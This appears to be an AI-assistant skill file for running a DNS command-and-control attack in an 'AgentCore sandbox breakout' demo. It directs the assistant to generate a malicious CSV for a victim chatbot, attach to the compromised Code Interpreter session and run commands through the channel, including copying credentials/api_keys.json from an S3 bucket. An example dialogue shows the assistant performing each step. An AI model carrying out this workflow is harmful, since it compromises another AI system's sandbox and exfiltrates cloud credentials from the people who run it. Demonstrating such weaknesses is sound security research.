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Operates a DNS command-and-control system for an AgentCore sandbox breakout demonstration.
DNS C2 operator skill for the AgentCore sandbox breakout demo. This skill should be used when the user asks to run C2 verification, attack a victim chatbot, send commands to a compromised session, retrieve exfiltrated data, or interact with the DNS C2 system.
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# DNS C2 Operator Skill
This skill automates the DNS C2 attack workflow for the AgentCore sandbox breakout demo.
## Prerequisites
Before using this skill, ensure:
1. Attacker infrastructure is deployed (`cd attacker-infra && make deploy`)
2. The C2 server is running (happens automatically during deploy)
## Quick Commands (from repo root)
```bash
# Generate malicious CSV (session ID saved to attacker-infra/.session_id)
make generate-csv
# Attach to session (auto-reads .session_id)
make attach
# Or use the c2 CLI directly from attacker-infra/
cd attacker-infra
uv run c2 generate-csv
uv run c2 attach
```
## Usage Modes
### Mode 1: Generate and Upload CSV
When the user wants to attack via CSV upload:
- "Generate a malicious CSV"
- "Create a payload for the chatbot"
**Workflow:**
1. Run `make generate-csv` from repo root
2. Note the session ID (also saved to `attacker-infra/.session_id`)
3. Upload `attacker-infra/malicious_data.csv` to victim chatbot
4. Run `make attach` to connect to the session
### Mode 2: Attach to Session
When the user wants to connect to an active session:
- "Attach to the C2 session"
- "Connect to session sess_abc12345"
**Workflow:**
```bash
# Auto-read session ID from .session_id
make attach
# Or specify manually
cd attacker-infra && uv run c2 attach sess_abc12345
```
### Mode 3: Execute Commands
Once attached, send commands in the operator shell:
- `whoami` - Check current user
- `aws s3 ls` - List S3 buckets
- `aws sts get-caller-identity` - Check IAM identity
- `exit` - Disconnect (session stays active)
## CLI Reference
All commands run from `attacker-infra/` directory:
```bash
# Generate payload
uv run c2 generate-csv
# Attach to session (reads from .session_id if no argument)
uv run c2 attach [SESSION_ID]
# Send single command
uv run c2 send "whoami" --session sess_abc12345
# Receive output
uv run c2 receive --session sess_abc12345
# Check C2 server status
uv run c2 status
```
## Common Demo Commands
After attaching to a session, demonstrate the vulnerability:
```bash
whoami
aws sts get-caller-identity
aws s3 ls
aws s3 ls s3://victim-chatbot-sensitive-* --recursive
aws s3 cp s3://victim-chatbot-sensitive-*/credentials/api_keys.json -
aws dynamodb list-tables
```
## Error Handling
### "Cannot reach C2 server"
The C2 server may not be running. Run: `cd attacker-infra && make configure-ec2`
### Empty output after polling
The payload may not have executed. Check:
- Victim chatbot is accessible
- CSV was uploaded and processed
- DNS queries reaching C2: `make logs`
### Session timeout
Code Interpreter sessions timeout after ~15 minutes. Generate a new CSV and re-upload.
## Example Full Workflow
```
User: Generate a payload for the victim chatbot
Claude runs: make generate-csv
Output: Session ID sess_x7k2m9p1 saved to .session_id
User: I uploaded the CSV, now connect
Claude runs: make attach
-> Connects to sess_x7k2m9p1
User: Run whoami
Claude (in operator shell): whoami
Output: genesis1ptools
User: Check what AWS access we have
Claude: aws sts get-caller-identity
Output: {"Account": "445570921298", "Arn": "arn:aws:sts::..."}
```Files included alongside SKILL.md in the publisher’s repository.